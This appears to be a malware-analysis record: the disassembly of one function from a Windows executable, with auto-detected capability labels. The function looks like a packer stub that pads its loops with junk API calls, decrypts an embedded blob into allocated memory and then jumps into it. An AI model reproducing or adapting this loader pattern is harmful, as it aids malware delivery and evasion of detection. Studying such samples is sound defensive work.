Function at 0x40124a
Capabilities:
Delete directory
Get disk information
Move file

Disassembly:
mov eax, 0x49d411
call fcn.0049c46c
sub esp, 0xc68
cmp dword [0x2b7ab04], 0x93
push ebx
push esi
push edi
jne 0x4012b2
push str.cuduhekekibuf_yutobetatumumo
push str.sanoxokahidejevifecicicumi_jodulugegu
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor esi, esi
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], ax
push esi
mov dword [ebp - 4], esi
call fcn.00401534
push esi
push esi
call fcn.00401697
push esi
push esi
call fcn.00401734
push esi
push esi
call fcn.00401697
add esp, 0x1c
push esi
call fcn.00401a7a
add dword [0x2b7ab04], 0x1134b
push dword [0x2b7ab04]
mov eax, dword [0x4a49a0]
xor esi, esi
push esi
mov dword [0x2b7b568], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2b7a4b8], eax
call fcn.00401195
xor edi, edi
cmp dword [0x2b7ab04], esi
jbe 0x401329
mov eax, dword [0x2b7b568]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2b7a4b8]
mov byte [ecx + edi], al
cmp dword [0x2b7ab04], 0x490
jne 0x401320
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
inc edi
cmp edi, dword [0x2b7ab04]
jb 0x4012e9
xor edi, edi
mov eax, dword [0x2b7ab04]
add eax, edi
cmp eax, 0x8d
jne 0x401368
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
inc edi
cmp edi, 0x38681
jl 0x40132b
mov eax, dword [0x2b7ab04]
mov ecx, dword [0x2b7a4b8]
shr eax, 3
cmp eax, esi
jbe 0x4013b8
mov edi, dword [sym.imp.KERNEL32.dll_AttachConsole]
mov ebx, ecx
mov dword [ebp - 0x10], eax
cmp dword [0x2b7ab04], 0x959
jne 0x4013aa
push esi
call edi
push esi
call edi
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push ebx
call fcn.00401007
add ebx, 8
dec dword [ebp - 0x10]
jne 0x40138e
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4013d8
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x2b7a4b8], eax
inc edi
cmp edi, 0x674db
jl 0x4013ba
push 0x7b
pop ebx
cmp dword [0x2b7ab04], 0x86
jne 0x401442
push esi
lea eax, [ebp - 0xc74]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push str.tiyerera
push str.vapotamusihe
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
lea eax, [ebp - 0x474]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor eax, eax
mov word [ebp - 0x10], ax
lea edi, [ebp - 0xe]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
dec ebx
jne 0x4013e4
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2b7a4b8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret